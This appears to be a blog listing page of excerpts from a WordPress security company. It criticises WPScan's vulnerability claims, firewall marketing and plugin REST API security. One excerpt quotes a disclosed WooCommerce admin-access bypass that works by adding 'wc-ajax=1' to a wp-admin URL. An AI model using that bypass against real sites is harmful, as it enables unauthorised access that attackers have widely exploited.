While reviewing a recent hacker attempt to try to exploit a vulnerability in a WordPress plugin, which was stopped by our own firewall plugin, we found that Automattic’s WPScan had falsely claimed that a WordPress plugin contained a serious vulnerability.
Here was the logging for when the attempt that was stopped: [Read more]
Back in November, the Automattic owned WPScan claimed there had been a vulnerability in a plugin that extends the very popular ecommerce plugin WooCommerce, which is also owned by Automattic. WPScan only got around to releasing any information about the claimed vulnerability this month. When we went to check on that, we found that the relevant code is still vulnerable, though less vulnerable than it was before. If the developer of the plugin was properly implementing the built-in security when using WordPress’ REST API they wouldn’t still have the vulnerability.
We are now four years in with the REST API being available in WordPress, but plugin developers are still not implementing a basic security element it introduced correctly. So it seems worth going through what is going wrong and how it can be fairly easily be fixed. [Read more]
Google’s search results have a reputation for being bad these days and for good reason, they are bad. Take the results we got when doing a search for “best wordpress security plugins 2024”. We got this information directly on the search page, which lists the plugin Jetpack Security first:
In October 2022, after a very questionable action taken by the team running the WordPress’ Plugin Directory that was alleged by some to have been done to the benefit of the for-profit company from head of WordPress, we noted that WordPress was obfuscating the connection between that team and the company, Automattic. Specifically, the second question in the FAQ for the WordPress Plugin Directory claimed to address a possible connection this way:
Does the review team work for Automattic? [Read more]
When it comes to protecting WordPress websites from being hacked through vulnerabilities in plugins, the solution is often simply keeping plugins up to date. But that doesn’t work when a hacker finds a vulnerability and starts exploiting it, otherwise known as a zero-day, as there is no update available. That is where an additional security plugin or service can possibly provide protection. But do they? The answer is often that they won’t. Making that more problematic is that often the marketing of the solutions would tell you otherwise.
Recently, we looked at one example of how firewall plugins could easily detect and stop exploit attempts for a widely exploited vulnerability, but most didn’t. Let’s look at another example of how a firewall plugin can provide protection. This time with a zero-day. We will touch on a couple of examples of why web application firewalls (WAFs) such as a cloud based security service are unable to handle things as well. [Read more]
On Saturday we had what appeared to be a hacker probing for usage of the WordPress plugin WP Job Portal on our website. That plugin is available in the WordPress Plugin Directory and has 3,000+ active installations according to WordPress’ data. An explanation for that hacker targeting could be that WPScan was claiming that there is an unfixed SQL injection vulnerability in the plugin.
As of Saturday, the only information WPScan provided was this vague description of the issue “The plugin does not sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users”. Without more information it would be difficult for anyone else to confirm their claim. They also stated that a proof of concept for the vulnerability would “be displayed on September 26, 2023, to give users the time to update.” Considering they were also claiming that this wasn’t fixed, there wouldn’t be any update to apply. So something seems amiss there. [Read more]
Automattic is the company from the head of WordPress, Matt Mullenweg. Among its operations, it sells access to (often inaccurate) information on vulnerabilities in WordPress plugins through WPScan. Earlier this week WPScan added an entry for a claimed vulnerability in Automattic’s WooCommerce plugin, which has 5+ million installs according to WordPress’ data. They claimed the vulnerability had been fixed in version 7.0.1:
When it comes to securing WordPress websites, it is very common to find people assuredly claiming that WordPress firewall plugins provide less protection than web application firewalls (WAFs) from web hosts or cloud security providers, without any evidence to back that up. Take one new WordPress security provider, Snicco, that claims they offer the “only WordPress plugin smashing real security threats overlooked by the WordPress ecosystem”, who made a claim along those lines:
A general-purpose WAF that checks for bad request parameters, SQL injection, or similar offenses is orders of magnitude faster and more effective at the web server level or CDN level. [Read more]
Recently Automattic’s WPScan claimed that there had been what is normally a fairly serious type of vulnerability in a WordPress plugin. That being, as they put it, an “unauthenticated stored XSS” vulnerability or, as we would put it, a persistent cross-site scripting (XSS) vulnerability. That would allow an attacker not logged in to WordPress to cause JavaScript code they crafted to run for other visitors of the website. Depending on where that would run, that could, among other things, be used to cause malware to be included on front end pages of the website or code that causes users logged in to WordPress as Administrators to take action they didn’t want to happen. Both of those are things that hackers have been known to try to do on a wide scale.
Here is their description of the issue: [Read more]
In March, the details of a vulnerability that had been fixed in a WordPress plugin that extends the functionality of the plugin WooCommerce were disclosed. The exploitabilty of it should have been limited as it required having access to a value that is only included in WordPress admin pages. WooCommerce claims to limit access to that to admins. Documentation from the developer states that “By default, WooCommerce blocks non-admin users from entering WP Admin, or seeing the WP Admin bar.” Despite that the vulnerability was widely exploited.
The explanation for how it could be widely exploited despite that limitation is that the discoverer of the vulnerability disclosed a bypass for that, “WooCommerce customers can access the back-end by adding wc-ajax=1 to the query, e.g., https://example.com/wp-admin/?wc-ajax=1”. The discloser, NinTechNet, provided no explanation of why they publicized that, nor made any mention of contacting the developer about that bypass. It isn’t as if they didn’t know that they were disclosing something that isn’t supposed to be possible, as we had brought that up to them in a situation involving a different vulnerability a couple of weeks before. [Read more]
